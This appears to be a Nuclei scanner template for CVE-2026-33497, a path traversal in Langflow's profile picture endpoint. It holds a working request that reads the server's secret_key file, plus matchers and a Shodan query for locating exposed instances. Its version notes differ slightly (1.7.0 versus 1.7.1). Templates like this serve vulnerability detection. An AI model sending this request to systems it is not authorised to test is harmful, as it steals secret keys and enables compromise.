id: CVE-2026-33497

info:
  name: Langflow < 1.7.0 - Path Traversal
  author: xtr0nix
  severity: high
  description: |
    Langflow < 1.7.1 contains a path traversal caused by insufficient filtering of folder_name and file_name parameters in download_profile_picture endpoint, letting attackers read secret_key across directories, exploit requires crafted request.
  impact: |
    Attackers can read sensitive secret_key files across directories, potentially compromising system security.
  remediation: |
    Update to version 1.7.1 or later.
  reference:
    - https://github.com/langflow-ai/langflow/security/advisories/GHSA-ph9w-r52h-28p7
    - https://nvd.nist.gov/vuln/detail/CVE-2026-33497
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-33497
    epss-score: 0.19584
    epss-percentile: 0.97111
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"Langflow"
  tags: cve,cve2026,langflow,traversal

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/files/profile_pictures/../secret_key"

    matchers:
      - type: dsl
        dsl:
          - len(body) == 43
          - status_code == 200
          - contains(content_type, 'application/octet-stream')
        condition: and
# digest: 4b0a00483046022100d91023e37b566ff88b03ae815ca5bdede8f12b6c5f4e9e47aef29b2686af46a0022100f046eb158ff104883918baf564382ae2c65a9306abf58d10ce4dac5c7357fd46:922c64590222798bb761d5b6d8e72950